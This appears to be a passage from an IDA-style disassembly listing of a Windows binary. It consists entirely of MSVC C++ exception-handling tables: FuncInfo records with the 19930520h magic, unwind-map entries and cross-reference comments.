		dd 0FFFFFFFFh, 431DA8h,	0FFFFFFFFh, 431DB0h, 0FFFFFFFFh
		dd 431DB8h, 7, 431DC3h,	7, 431DCBh, 9, 431DD3h,	4 dup(0)
dword_4378C0	dd 19930520h, 31h, 4378E0h, 5 dup(0) ; DATA XREF: _294ADE7B:0043201Bo
		dd 0FFFFFFFFh, 431E00h,	0
		dd offset loc_431E0B
		dd 0
		dd offset loc_431E16
		dd 0FFFFFFFFh, 431E21h,	0FFFFFFFFh, 431E2Ch, 4,	431E37h
		dd 0FFFFFFFFh, 431E42h,	6, 431E4Dh, 6, 431E58h,	8, 431E63h
		dd 0FFFFFFFFh, 431E6Eh,	0Ah, 431E79h, 0Ah, 431E84h, 0Ah
		dd 431E8Fh, 0Ah, 431E9Ah, 0Ah, 431EA5h,	0Ah, 431EB0h, 0FFFFFFFFh
		dd 431EBBh, 11h, 431EC6h, 11h, 431ED1h,	0FFFFFFFFh, 431EDCh
		dd 0FFFFFFFFh, 431EE7h,	15h, 431EF2h, 0FFFFFFFFh, 431EFDh
		dd 0FFFFFFFFh, 431F08h,	18h, 431F13h, 0FFFFFFFFh, 431F1Eh
		dd 0FFFFFFFFh, 431F29h,	0FFFFFFFFh, 431F34h, 0FFFFFFFFh
		dd 431F3Fh, 1Dh, 431F4Ah, 1Dh, 431F55h,	1Dh, 431F60h, 1Dh
		dd 431F6Bh, 1Dh, 431F76h, 22h, 431F81h,	22h, 431F8Ch, 22h
		dd 431F97h, 22h, 431FA2h, 22h, 431FADh,	22h, 431FB8h, 22h
		dd 431FC3h, 22h, 431FCEh, 22h, 431FD9h,	22h, 431FE4h, 22h
		dd 431FEFh, 22h, 431FFAh, 22h, 432005h,	22h, 432010h, 0Ch dup(0)
dword_437A98	dd 19930520h, 2, 437AB8h, 5 dup(0) ; DATA XREF:	_294ADE7B:004320CFo
		dd 0FFFFFFFFh, 4320B8h,	0
		dd offset loc_4320B0
		align 10h
dword_437AD0	dd 19930520h, 2, 437AF0h, 5 dup(0) ; DATA XREF:	_294ADE7B:00432115o
		dd 0FFFFFFFFh, 4320FBh,	0
		dd offset loc_4320F0
		dd 2 dup(0)
dword_437B08	dd 19930520h, 1, 437B28h, 5 dup(0) ; DATA XREF:	_294ADE7B:00432138o
		dd 0FFFFFFFFh, 432130h,	2 dup(0)
dword_437B38	dd 19930520h, 3, 437B58h, 5 dup(0) ; DATA XREF:	_294ADE7B:00432171o
		dd 0FFFFFFFFh, 432150h,	0
		dd offset loc_43215B
		dd 0
		dd offset loc_432166
		dd 2 dup(0)
dword_437B78	dd 19930520h, 1, 437B98h, 5 dup(0) ; DATA XREF:	_294ADE7B:0043219Bo
		dd 0FFFFFFFFh, 432190h,	2 dup(0)
dword_437BA8	dd 19930520h, 1, 437BC8h, 5 dup(0) ; DATA XREF:	_294ADE7B:004321B8o
		dd 0FFFFFFFFh, 4321B0h,	2 dup(0)
dword_437BD8	dd 19930520h, 2, 437BF8h, 5 dup(0) ; DATA XREF:	_294ADE7B:004321E0o
		dd 0FFFFFFFFh, 4321D0h,	0
		dd offset loc_4321D8
		align 10h
dword_437C10	dd 19930520h, 54h, 437C30h, 5 dup(0) ; DATA XREF: _294ADE7B:004324E6o
		dd 0FFFFFFFFh, 4321F0h,	0
		dd offset loc_4321FB
		dd 1, 432206h, 2, 432211h, 3, 43221Ch, 4, 432227h, 5, 432232h
		dd 6, 43223Dh, 7, 432248h, 8, 432253h, 9, 43225Bh, 0Ah
		dd 432263h, 0Bh, 43226Bh, 0Ch, 432276h,	0Dh, 43227Eh, 0Eh
		dd 432289h, 0Fh, 432294h, 10h, 43229Fh,	11h, 4322AAh, 12h
		dd 4322B5h, 13h, 4322C0h, 14h, 4322CBh,	15h, 4322D6h, 16h
		dd 4322E1h, 17h, 4322ECh, 18h, 4322F7h,	19h, 432302h, 1Ah
		dd 43230Dh, 1Bh, 432318h, 1Ch, 432323h,	1Dh, 43232Eh, 1Eh
		dd 432339h, 1Eh, 432344h, 1Eh, 43234Fh,	1Eh, 43235Ah, 1Eh
		dd 432365h, 1Eh, 432370h, 1Eh, 43237Bh,	25h, 432386h, 1Eh
		dd 432386h, 1Eh, 432391h, 28h, 43239Ch,	1Eh, 43239Ch, 1Eh
		dd 4323A7h, 2Bh, 4323B2h, 1Eh, 4323B2h,	1Eh, 4323BDh, 2Eh
		dd 4323C8h, 1Eh, 4323C8h, 1Eh, 4323D3h,	31h, 4323DEh, 1Eh
		dd 4323DEh, 1Eh, 4323E9h, 34h, 4323F4h,	1Eh, 4323F4h, 1Eh
		dd 4323FFh, 37h, 43240Ah, 1Eh, 43240Ah,	1Eh, 432415h, 3Ah
		dd 432420h, 1Eh, 432420h, 1Eh, 43242Bh,	3Dh, 432436h, 1Eh
		dd 432436h, 1Eh, 432441h, 40h, 43244Ch,	1Eh, 43244Ch, 1Eh
		dd 432457h, 43h, 432462h, 1Eh, 432462h,	1Eh, 43246Dh, 46h
		dd 432478h, 1Eh, 432478h, 1Eh, 432483h,	49h, 43248Eh, 1Eh
		dd 43248Eh, 1Eh, 432499h, 4Ch, 4324A4h,	1Eh, 4324A4h, 1Eh
		dd 4324AFh, 4Fh, 4324BAh, 50h, 4324C5h,	51h, 4324D0h, 52h
		dd 4324DBh, 13h	dup(0)
		dd offset off_43B900
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	430350h, 2 dup(0)
		dd offset off_43B920
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	430774h, 2 dup(0)
		dd offset off_43B948
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	43077Ah, 0
dword_437F78	dd 3, 437F58h, 437F38h,	437F18h, 3 dup(0) ; DATA XREF: _8C6BDE73:00437F9Co
		dd offset loc_430780
		dd 0
		dd offset dword_437F78
		dd 2 dup(0)
dword_437FA8	dd 19930520h, 1, 437FC8h, 5 dup(0) ; DATA XREF:	_294ADE7B:004325B9o
		dd 0FFFFFFFFh, 4325B0h,	2 dup(0)
dword_437FD8	dd 19930520h, 1, 437FF8h, 5 dup(0) ; DATA XREF:	_294ADE7B:004325D8o
		dd 0FFFFFFFFh, 4325D0h,	2 dup(0)
dword_438008	dd 19930520h, 3, 438028h, 5 dup(0) ; DATA XREF:	_294ADE7B:00432617o
		dd 0FFFFFFFFh, 4325F0h,	0
		dd offset loc_432607
		dd 1, 43260Fh, 2 dup(0)
dword_438048	dd 19930520h, 1, 438068h, 5 dup(0) ; DATA XREF:	_294ADE7B:00432639o
		dd 0FFFFFFFFh, 432630h,	2 dup(0)
dword_438078	dd 19930520h, 2, 438098h, 1, 4380A8h, 3	dup(0)
					; DATA XREF: _294ADE7B:00432650o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 4380C0h, 4	dup(0)
		dd offset sub_40A9B2
		dd 2 dup(0)
dword_4380D8	dd 19930520h, 2, 4380F8h, 1, 438108h, 3	dup(0)
					; DATA XREF: _294ADE7B:00432660o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 438120h, 4	dup(0)
		dd offset loc_40AB31
		dd 2 dup(0)
dword_438138	dd 19930520h, 4, 438158h, 5 dup(0) ; DATA XREF:	_294ADE7B:0043269Fo
		dd 0FFFFFFFFh, 432670h,	0
		dd offset loc_43267B
		dd 1, 432686h, 2, 432691h, 2 dup(0)
dword_438180	dd 19930520h, 4, 4381A0h, 5 dup(0) ; DATA XREF:	_294ADE7B:004326EFo
		dd 0FFFFFFFFh, 4326C0h,	0
		dd offset loc_4326CB
		dd 1, 4326D6h, 2, 4326E1h, 2 dup(0)
dword_4381C8	dd 19930520h, 3, 4381E8h, 5 dup(0) ; DATA XREF:	_294ADE7B:00432728o
		dd 0FFFFFFFFh, 432710h,	0FFFFFFFFh, 432718h, 0FFFFFFFFh
		dd 432720h, 2 dup(0)
dword_438208	dd 19930520h, 3, 438228h, 5 dup(0) ; DATA XREF:	_294ADE7B:00432758o
		dd 0FFFFFFFFh, 432740h,	0
		dd offset loc_432748
		dd 1, 432750h, 2 dup(0)
dword_438248	dd 19930520h, 1, 438268h, 5 dup(0) ; DATA XREF:	_294ADE7B:00432778o
		dd 0FFFFFFFFh, 432770h,	2 dup(0)
dword_438278	dd 19930520h, 4, 438298h, 5 dup(0) ; DATA XREF:	_294ADE7B:004327B0o
		dd 0FFFFFFFFh, 432790h,	0FFFFFFFFh, 432798h, 0FFFFFFFFh
		dd 4327A0h, 2, 4327A8h,	2 dup(0)
dword_4382C0	dd 19930520h, 4, 4382E0h, 5 dup(0) ; DATA XREF:	_294ADE7B:004327F0o
		dd 0FFFFFFFFh, 4327D0h,	0FFFFFFFFh, 4327D8h, 0FFFFFFFFh
		dd 4327E0h, 0FFFFFFFFh,	4327E8h, 2 dup(0)
dword_438308	dd 19930520h, 8, 438328h, 5 dup(0) ; DATA XREF:	_294ADE7B:00432868o
		dd 0FFFFFFFFh, 432810h,	0
		dd offset loc_43281B
		dd 1, 432826h, 1, 432831h, 1, 43283Ch, 1, 432847h, 1, 432852h
		dd 1, 43285Dh, 4 dup(0)
dword_438378	dd 19930520h, 0Dh, 438398h, 5 dup(0) ; DATA XREF: _294ADE7B:0043291Fo
		dd 0FFFFFFFFh, 432890h,	0FFFFFFFFh, 43289Bh, 1,	4328A6h
		dd 2, 4328B1h, 3, 4328BCh, 4, 4328C7h, 5, 4328D2h, 6, 4328DDh
		dd 7, 4328E8h, 8, 4328F3h, 9, 4328FEh, 0Ah, 432909h, 0Bh
		dd 432914h, 4 dup(0)
dword_438410	dd 19930520h, 6, 438430h, 5 dup(0) ; DATA XREF:	_294ADE7B:00432980o
		dd 0FFFFFFFFh, 432950h,	0
		dd offset loc_432958
		dd 1, 432960h, 2, 432968h, 2, 432970h, 2, 432978h, 2 dup(0)
dword_438468	dd 19930520h, 6, 438488h, 5 dup(0) ; DATA XREF:	_294ADE7B:004329D0o
		dd 0FFFFFFFFh, 4329A0h,	0
		dd offset loc_4329A8
		dd 1, 4329B0h, 2, 4329B8h, 2, 4329C0h, 2, 4329C8h, 2 dup(0)
dword_4384C0	dd 19930520h, 3, 4384E0h, 5 dup(0) ; DATA XREF:	_294ADE7B:00432A08o
		dd 0FFFFFFFFh, 4329F0h,	0
		dd offset loc_4329F8
		dd 1, 432A00h, 2 dup(0)
dword_438500	dd 19930520h, 1, 438520h, 5 dup(0) ; DATA XREF:	_294ADE7B:00432A28o
		dd 0FFFFFFFFh, 432A20h,	2 dup(0)
dword_438530	dd 19930520h, 7, 438550h, 5 dup(0) ; DATA XREF:	_294ADE7B:00432A78o
		dd 0FFFFFFFFh, 432A40h,	0
		dd offset loc_432A48
		dd 0FFFFFFFFh, 432A50h,	0FFFFFFFFh, 432A58h, 3,	432A60h
		dd 4, 432A68h, 0FFFFFFFFh, 432A70h, 2 dup(0)
dword_438590	dd 19930520h, 24h, 4385B0h, 5 dup(0) ; DATA XREF: _294ADE7B:00432C1Do
		dd 0FFFFFFFFh, 432AA0h,	0
		dd offset loc_432AA8
		dd 1, 432AB3h, 2, 432ABEh, 3, 432AC9h, 4, 432AD7h, 5, 432AE5h
		dd 6, 432AF3h, 7, 432B01h, 8, 432B0Fh, 9, 432B1Dh, 0Ah
		dd 432B2Bh, 0Bh, 432B39h, 0Ch, 432B47h,	0Dh, 432B55h, 0Eh
		dd 432B63h, 0Fh, 432B71h, 10h, 432B7Fh,	11h, 432B8Dh, 11h
		dd 432B95h, 11h, 432B9Dh, 11h, 432BA5h,	11h, 432BADh, 11h
		dd 432BB5h, 11h, 432BBDh, 11h, 432BC5h,	11h, 432BCDh, 11h
		dd 432BD5h, 11h, 432BDDh, 11h, 432BE5h,	11h, 432BEDh, 11h
		dd 432BF5h, 11h, 432BFDh, 11h, 432C05h,	11h, 432C0Dh, 11h
		dd 432C15h, 8 dup(0)
dword_4386F0	dd 19930520h, 38h, 438710h, 5 dup(0) ; DATA XREF: _294ADE7B:00432ED3o
		dd 0FFFFFFFFh, 432C90h,	0
		dd offset loc_432C9B
		dd 1, 432CA6h, 0
		dd offset loc_432CB1
		dd 0
		dd offset loc_432CBC
		dd 0
		dd offset loc_432CC7
		dd 0
		dd offset loc_432CD2
		dd 0
		dd offset loc_432CDD
		dd 0
		dd offset loc_432CE8
		dd 0
		dd offset loc_432CF3
		dd 9, 432CFEh, 0
		dd offset loc_432D09
		dd 0
		dd offset loc_432D14
		dd 0
		dd offset loc_432D1F
		dd 0
		dd offset loc_432D2A
		dd 0Eh,	432D35h, 0Eh, 432D43h, 0Eh, 432D51h, 0Eh, 432D5Ch
		dd 0Eh,	432D6Ah, 0Eh, 432D78h, 0Eh, 432D83h, 0Eh, 432D8Eh
		dd 0
		dd offset loc_432D99
		dd 0
		dd offset loc_432DA4
		dd 0
		dd offset loc_432DB2
		dd 0
		dd offset loc_432DC0
		dd 1Ah,	432DCBh, 1Bh, 432DD6h, 0
		dd offset loc_432DE1
		dd 1Dh,	432DECh, 0
		dd offset loc_432DF7
		dd 1Fh,	432E02h, 0
		dd offset loc_432E0D
		dd 0
		dd offset loc_432E18
		dd 0
		dd offset loc_432E23
		dd 0
		dd offset loc_432E2E
		dd 0
		dd offset loc_432E39
		dd 25h,	432E44h, 26h, 432E4Fh, 0
		dd offset loc_432E4F
		dd 28h,	432E44h, 0
		dd offset loc_432E5A
		dd 0
		dd offset loc_432E65
		dd 2Bh,	432E70h, 2Ch, 432E7Bh, 0
		dd offset loc_432E7B
		dd 2Eh,	432E70h, 2Eh, 432E86h, 0
		dd offset loc_432E91
		dd 31h,	432E9Ch, 0
		dd offset loc_432EA7
		dd 0
		dd offset loc_432EB2
		dd 34h,	432EBDh, 35h, 432EC8h, 34h, 432EC8h, 0Ch dup(0)
dword_438900	dd 19930520h, 0Ah, 438920h, 5 dup(0) ; DATA XREF: _294ADE7B:00432FC0o
		dd 0FFFFFFFFh, 432F70h,	0FFFFFFFFh, 432F78h, 0FFFFFFFFh
		dd 432F80h, 0FFFFFFFFh,	432F88h, 0FFFFFFFFh, 432F90h, 0FFFFFFFFh
		dd 432F98h, 0FFFFFFFFh,	432FA0h, 0FFFFFFFFh, 432FA8h, 0FFFFFFFFh
		dd 432FB0h, 0FFFFFFFFh,	432FB8h, 4 dup(0)
dword_438980	dd 19930520h, 0Eh, 4389A0h, 5 dup(0) ; DATA XREF: _294ADE7B:00433059o
		dd 0FFFFFFFFh, 432FE0h,	0
		dd offset loc_432FE8
		dd 0FFFFFFFFh, 432FF3h,	0FFFFFFFFh, 432FFBh, 0FFFFFFFFh
		dd 433003h, 0FFFFFFFFh,	43300Bh, 5, 433016h, 0FFFFFFFFh
		dd 43301Eh, 0FFFFFFFFh,	433026h, 0FFFFFFFFh, 43302Eh, 9
		dd 433039h, 0FFFFFFFFh,	433041h, 0Bh, 433049h, 0Ch, 433051h
		dd 4 dup(0)
dword_438A20	dd 19930520h, 2, 438A40h, 5 dup(0) ; DATA XREF:	_294ADE7B:004330AFo
		dd 0FFFFFFFFh, 433098h,	0
		dd offset loc_433090
		dd 2 dup(0)
dword_438A58	dd 19930520h, 2, 438A78h, 5 dup(0) ; DATA XREF:	_294ADE7B:004330E0o
		dd 0FFFFFFFFh, 4330D0h,	0
		dd offset loc_4330D8
		align 10h
dword_438A90	dd 19930520h, 11h, 438AB0h, 5 dup(0) ; DATA XREF: _294ADE7B:004331CFo
		dd 0FFFFFFFFh, 4330F0h,	0
		dd offset loc_4330F8
		dd 1, 433103h, 2, 43310Eh, 3, 433119h, 4, 433127h, 5, 433135h
		dd 6, 433143h, 7, 433151h, 8, 43315Fh, 9, 43316Dh, 0Ah
		dd 43317Bh, 0Bh, 433189h, 0Ch, 433197h,	0Dh, 4331A5h, 0Eh
		dd 4331B3h, 0Fh, 4331C1h, 4 dup(0)
dword_438B48	dd 19930520h, 1, 438B68h, 5 dup(0) ; DATA XREF:	_294ADE7B:00433228o
		dd 0FFFFFFFFh, 433220h,	2 dup(0)
dword_438B78	dd 19930520h, 1, 438B98h, 5 dup(0) ; DATA XREF:	_294ADE7B:00433248o
		dd 0FFFFFFFFh, 433240h,	2 dup(0)
dword_438BA8	dd 19930520h, 6, 438BC8h, 5 dup(0) ; DATA XREF:	_294ADE7B:0043329Fo
		dd 0FFFFFFFFh, 433260h,	0
		dd offset loc_433268
		dd 1, 433273h, 2, 43327Eh, 3, 433289h, 4, 433294h, 2 dup(0)
dword_438C00	dd 19930520h, 6, 438C20h, 5 dup(0) ; DATA XREF:	_294ADE7B:004332FFo
		dd 0FFFFFFFFh, 4332C0h,	0
		dd offset loc_4332C8
		dd 1, 4332D3h, 2, 4332DEh, 3, 4332E9h, 4, 4332F4h, 2 dup(0)
dword_438C58	dd 19930520h, 1, 438C78h, 5 dup(0) ; DATA XREF:	_294ADE7B:00433328o
		dd 0FFFFFFFFh, 433320h,	2 dup(0)
dword_438C88	dd 19930520h, 7, 438CA8h, 5 dup(0) ; DATA XREF:	_294ADE7B:0043337Eo
		dd 0FFFFFFFFh, 433340h,	0
		dd offset loc_433348
		dd 1, 433353h, 2, 43335Eh, 2, 433366h, 4, 43336Eh, 5, 433376h
		dd 2 dup(0)
dword_438CE8	dd 19930520h, 4, 438D08h, 5 dup(0) ; DATA XREF:	_294ADE7B:004333CCo
		dd 0FFFFFFFFh, 4333A0h,	0
		dd offset loc_4333AB
		dd 1, 4333B6h, 2, 4333C1h, 2 dup(0)
dword_438D30	dd 19930520h, 4, 438D50h, 5 dup(0) ; DATA XREF:	_294ADE7B:0043341Co
		dd 0FFFFFFFFh, 4333F0h,	0
		dd offset loc_4333FB
		dd 1, 433406h, 2, 433411h, 2 dup(0)
dword_438D78	dd 19930520h, 2, 438D98h, 5 dup(0) ; DATA XREF:	_294ADE7B:00433450o
		dd 0FFFFFFFFh, 433440h,	0FFFFFFFFh, 433448h, 2 dup(0)
dword_438DB0	dd 19930520h, 1, 438DD0h, 5 dup(0) ; DATA XREF:	_294ADE7B:00433468o
		dd 0FFFFFFFFh, 433460h,	2 dup(0)
dword_438DE0	dd 19930520h, 1, 438E00h, 5 dup(0) ; DATA XREF:	_294ADE7B:00433488o
		dd 0FFFFFFFFh, 433480h,	2 dup(0)
dword_438E10	dd 19930520h, 2, 438E30h, 5 dup(0) ; DATA XREF:	_294ADE7B:004334B0o
		dd 0FFFFFFFFh, 4334A0h,	0
		dd offset loc_4334A8
		dd 2 dup(0)
dword_438E48	dd 19930520h, 3, 438E68h, 5 dup(0) ; DATA XREF:	_294ADE7B:004334DEo
		dd 0FFFFFFFFh, 4334C0h,	0
		dd offset loc_4334C8
		dd 1, 4334D3h, 2 dup(0)
dword_438E88	dd 19930520h, 3, 438EA8h, 5 dup(0) ; DATA XREF:	_294ADE7B:00433518o
		dd 0FFFFFFFFh, 433500h,	0
		dd offset loc_433508
		dd 1, 433510h, 2 dup(0)
dword_438EC8	dd 19930520h, 1, 438EE8h, 5 dup(0) ; DATA XREF:	_294ADE7B:00433538o
		dd 0FFFFFFFFh, 433530h,	2 dup(0)
dword_438EF8	dd 19930520h, 4, 438F18h, 5 dup(0) ; DATA XREF:	_294ADE7B:00433573o
		dd 0FFFFFFFFh, 433550h,	0
		dd offset loc_433558
		dd 0
		dd offset loc_433560
		dd 0
		dd offset loc_43356B
		align 10h
dword_438F40	dd 19930520h, 6, 438F60h, 5 dup(0) ; DATA XREF:	_294ADE7B:004335C3o
		dd 0FFFFFFFFh, 433590h,	0
		dd offset loc_433598
		dd 1, 4335A0h, 2, 4335A8h, 3, 4335B0h, 4, 4335B8h, 2 dup(0)
dword_438F98	dd 19930520h, 3, 438FB8h, 5 dup(0) ; DATA XREF:	_294ADE7B:00433601o
		dd 0FFFFFFFFh, 4335E0h,	0
		dd offset loc_4335EB
		dd 1, 4335F6h, 2 dup(0)
dword_438FD8	dd 19930520h, 4, 438FF8h, 5 dup(0) ; DATA XREF:	_294ADE7B:00433640o
		dd 0FFFFFFFFh, 433620h,	0
		dd offset loc_433628
		dd 1, 433630h, 2, 433638h, 2 dup(0)
dword_439020	dd 19930520h, 5, 439040h, 5 dup(0) ; DATA XREF:	_294ADE7B:0043368Bo
		dd 0FFFFFFFFh, 433660h,	0
		dd offset loc_433668
		dd 1, 433670h, 2, 433678h, 3, 433680h, 2 dup(0)
dword_439070	dd 19930520h, 4, 439090h, 5 dup(0) ; DATA XREF:	_294ADE7B:004336D9o
		dd 0FFFFFFFFh, 4336B0h,	0
		dd offset loc_4336B8
		dd 1, 4336C3h, 2, 4336CEh, 2 dup(0)
dword_4390B8	dd 19930520h, 3, 4390D8h, 5 dup(0) ; DATA XREF:	_294ADE7B:00433708o
		dd 0FFFFFFFFh, 4336F0h,	0
		dd offset loc_4336F8
		dd 1, 433700h, 2 dup(0)
dword_4390F8	dd 19930520h, 1, 439118h, 5 dup(0) ; DATA XREF:	_294ADE7B:00433728o
		dd 0FFFFFFFFh, 433720h,	2 dup(0)
dword_439128	dd 19930520h, 2, 439148h, 5 dup(0) ; DATA XREF:	_294ADE7B:00433750o
		dd 0FFFFFFFFh, 433740h,	0
		dd offset loc_433748
		align 10h
dword_439160	dd 19930520h, 2, 439180h, 5 dup(0) ; DATA XREF:	_294ADE7B:00433770o
		dd 0FFFFFFFFh, 433760h,	0
		dd offset loc_433768
		dd 2 dup(0)
dword_439198	dd 19930520h, 3, 4391B8h, 5 dup(0) ; DATA XREF:	_294ADE7B:004337A1o
		dd 0FFFFFFFFh, 433780h,	0
		dd offset loc_43378B
		dd 1, 433796h, 2 dup(0)
dword_4391D8	dd 19930520h, 1, 4391F8h, 5 dup(0) ; DATA XREF:	_294ADE7B:004337C8o
		dd 0FFFFFFFFh, 4337C0h,	2 dup(0)
dword_439208	dd 19930520h, 1, 439228h, 5 dup(0) ; DATA XREF:	_294ADE7B:004337E8o
		dd 0FFFFFFFFh, 4337E0h,	2 dup(0)
dword_439238	dd 19930520h, 4, 439258h, 5 dup(0) ; DATA XREF:	_294ADE7B:00433829o
		dd 0FFFFFFFFh, 433800h,	0
		dd offset loc_433808
		dd 1, 433813h, 2, 43381Eh, 2 dup(0)
dword_439280	dd 19930520h, 7, 4392A0h, 5 dup(0) ; DATA XREF:	_294ADE7B:00433878o
		dd 0FFFFFFFFh, 433840h,	0FFFFFFFFh, 433848h, 0FFFFFFFFh
		dd 433850h, 2, 433858h,	3, 433860h, 4, 433868h,	0FFFFFFFFh
		dd 433870h, 2 dup(0)
dword_4392E0	dd 19930520h, 14h, 439300h, 5 dup(0) ; DATA XREF: _294ADE7B:004339AFo
		dd 0FFFFFFFFh, 4338A0h,	0
		dd offset loc_4338A8
		dd 1, 4338B3h, 2, 4338C1h, 3, 4338CFh, 4, 4338DDh, 5, 4338EBh
		dd 6, 4338F9h, 7, 433907h, 8, 433915h, 9, 433923h, 0Ah
		dd 433931h, 0Bh, 43393Fh, 0Ch, 43394Dh,	0Dh, 43395Bh, 0Eh
		dd 433969h, 0Fh, 433977h, 10h, 433985h,	11h, 433993h, 12h
		dd 4339A1h, 6 dup(0)
dword_4393B8	dd 19930520h, 14h, 4393D8h, 5 dup(0) ; DATA XREF: _294ADE7B:00433B0Fo
		dd 0FFFFFFFFh, 433A00h,	0
		dd offset loc_433A08
		dd 1, 433A13h, 2, 433A21h, 3, 433A2Fh, 4, 433A3Dh, 5, 433A4Bh
		dd 6, 433A59h, 7, 433A67h, 8, 433A75h, 9, 433A83h, 0Ah
		dd 433A91h, 0Bh, 433A9Fh, 0Ch, 433AADh,	0Dh, 433ABBh, 0Eh
		dd 433AC9h, 0Fh, 433AD7h, 10h, 433AE5h,	11h, 433AF3h, 12h
		dd 433B01h, 6 dup(0)
dword_439490	dd 19930520h, 1, 4394B0h, 5 dup(0) ; DATA XREF:	_294ADE7B:00433B6Bo
		dd 0FFFFFFFFh, 433B60h,	2 dup(0)
dword_4394C0	dd 19930520h, 3Dh, 4394E0h, 5 dup(0) ; DATA XREF: _294ADE7B:00433ED0o
		dd 0FFFFFFFFh, 433B80h,	0
		dd offset loc_433B8B
		dd 1, 433B96h, 2, 433BA4h, 3, 433BB2h, 4, 433BC0h, 5, 433BCEh
		dd 6, 433BDCh, 7, 433BEAh, 8, 433BF8h, 9, 433C06h, 0Ah
		dd 433C14h, 0Bh, 433C22h, 0Ch, 433C30h,	0Dh, 433C3Eh, 0Eh
		dd 433C4Ch, 0Fh, 433C5Ah, 10h, 433C68h,	11h, 433C76h, 12h
		dd 433C84h, 13h, 433C92h, 14h, 433CA0h,	15h, 433CAEh, 16h
		dd 433CBCh, 17h, 433CCAh, 18h, 433CD8h,	19h, 433CE6h, 1Ah
		dd 433CF4h, 1Bh, 433D02h, 1Ch, 433D10h,	1Dh, 433D1Eh, 1Eh
		dd 433D2Ch, 1Fh, 433D3Ah, 20h, 433D48h,	21h, 433D56h, 22h
		dd 433D64h, 23h, 433D72h, 24h, 433D80h,	25h, 433D8Eh, 26h
		dd 433D9Ch, 27h, 433DAAh, 28h, 433DB8h,	29h, 433DC6h, 2Ah
		dd 433DD4h, 2Bh, 433DE2h, 2Ch, 433DF0h,	2Dh, 433DFEh, 2Eh
		dd 433E0Ch, 2Fh, 433E1Ah, 30h, 433E28h,	31h, 433E36h, 32h
		dd 433E44h, 33h, 433E52h, 34h, 433E60h,	35h, 433E6Eh, 36h
		dd 433E7Ch, 37h, 433E8Ah, 38h, 433E98h,	39h, 433EA6h, 3Ah
		dd 433EB4h, 3Bh, 433EC2h, 0Eh dup(0)
dword_439700	dd 19930520h, 4, 439720h, 5 dup(0) ; DATA XREF:	_294ADE7B:00433FDCo
		dd 0FFFFFFFFh, 433FB0h,	0
		dd offset loc_433FBB
		dd 1, 433FC6h, 2, 433FD1h, 2 dup(0)
dword_439748	dd 19930520h, 6, 439768h, 5 dup(0) ; DATA XREF:	_294ADE7B:0043404Bo
		dd 0FFFFFFFFh, 434000h,	0
		dd offset loc_43400B
		dd 1, 434016h, 2, 434021h, 3, 43402Fh, 4, 43403Dh, 2 dup(0)
dword_4397A0	dd 19930520h, 5, 4397C0h, 5 dup(0) ; DATA XREF:	_294ADE7B:004340B6o
		dd 0FFFFFFFFh, 434070h,	0
		dd offset loc_43407E
		dd 1, 43408Ch, 2, 43409Ah, 3, 4340A8h, 2 dup(0)
dword_4397F0	dd 19930520h, 5, 439810h, 5 dup(0) ; DATA XREF:	_294ADE7B:0043411Do
		dd 0FFFFFFFFh, 4340E0h,	0
		dd offset loc_4340EB
		dd 1, 4340F6h, 2, 434101h, 3, 43410Fh, 2 dup(0)
dword_439840	dd 19930520h, 2, 439860h, 5 dup(0) ; DATA XREF:	SEH_4163B0o
		dd 0FFFFFFFFh, 434140h,	0
		dd offset loc_43414B
		dd 2 dup(0)
dword_439878	dd 19930520h, 4, 439898h, 5 dup(0) ; DATA XREF:	_294ADE7B:0043419Fo
		dd 0FFFFFFFFh, 434170h,	0
		dd offset loc_43417B
		dd 1, 434186h, 2, 434191h, 2 dup(0)
dword_4398C0	dd 19930520h, 4, 4398E0h, 5 dup(0) ; DATA XREF:	_294ADE7B:004341ECo
		dd 0FFFFFFFFh, 4341C0h,	0
		dd offset loc_4341CB
		dd 1, 4341D6h, 2, 4341E1h, 2 dup(0)
dword_439908	dd 19930520h, 6, 439928h, 5 dup(0) ; DATA XREF:	_294ADE7B:0043425Bo
		dd 0FFFFFFFFh, 434210h,	0
		dd offset loc_43421B
		dd 1, 434226h, 2, 434231h, 3, 43423Fh, 4, 43424Dh, 2 dup(0)
dword_439960	dd 19930520h, 5, 439980h, 5 dup(0) ; DATA XREF:	_294ADE7B:004342C6o
		dd 0FFFFFFFFh, 434280h,	0
		dd offset loc_43428E
		dd 1, 43429Ch, 2, 4342AAh, 3, 4342B8h, 2 dup(0)
dword_4399B0	dd 19930520h, 5, 4399D0h, 5 dup(0) ; DATA XREF:	_294ADE7B:0043432Do
		dd 0FFFFFFFFh, 4342F0h,	0
		dd offset loc_4342FB
		dd 1, 434306h, 2, 434311h, 3, 43431Fh, 2 dup(0)
dword_439A00	dd 19930520h, 2, 439A20h, 5 dup(0) ; DATA XREF:	SEH_416860o
		dd 0FFFFFFFFh, 434350h,	0
		dd offset loc_43435B
		dd 2 dup(0)
dword_439A38	dd 19930520h, 4, 439A58h, 5 dup(0) ; DATA XREF:	_294ADE7B:004343AFo
		dd 0FFFFFFFFh, 434380h,	0
		dd offset loc_43438B
		dd 1, 434396h, 2, 4343A1h, 2 dup(0)
dword_439A80	dd 19930520h, 1, 439AA0h, 5 dup(0) ; DATA XREF:	_294ADE7B:004343DBo
		dd 0FFFFFFFFh, 4343D0h,	2 dup(0)
dword_439AB0	dd 19930520h, 2, 439AD0h, 5 dup(0) ; DATA XREF:	_294ADE7B:00434406o
		dd 0FFFFFFFFh, 4343F0h,	0
		dd offset loc_4343FB
		dd 2 dup(0)
dword_439AE8	dd 19930520h, 1, 439B08h, 5 dup(0) ; DATA XREF:	_294ADE7B:00434428o
		dd 0FFFFFFFFh, 434420h,	2 dup(0)
dword_439B18	dd 19930520h, 3, 439B38h, 5 dup(0) ; DATA XREF:	SEH_4178D0o
		dd 0FFFFFFFFh, 434440h,	0FFFFFFFFh, 43444Bh, 1,	434456h
		dd 2 dup(0)
dword_439B58	dd 19930520h, 1, 439B78h, 5 dup(0) ; DATA XREF:	_294ADE7B:0043448Bo
		dd 0FFFFFFFFh, 434480h,	2 dup(0)
dword_439B88	dd 19930520h, 1, 439BA8h, 5 dup(0) ; DATA XREF:	_294ADE7B:004344ABo
		dd 0FFFFFFFFh, 4344A0h,	2 dup(0)
dword_439BB8	dd 19930520h, 3, 439BD8h, 5 dup(0) ; DATA XREF:	_294ADE7B:004344E7o
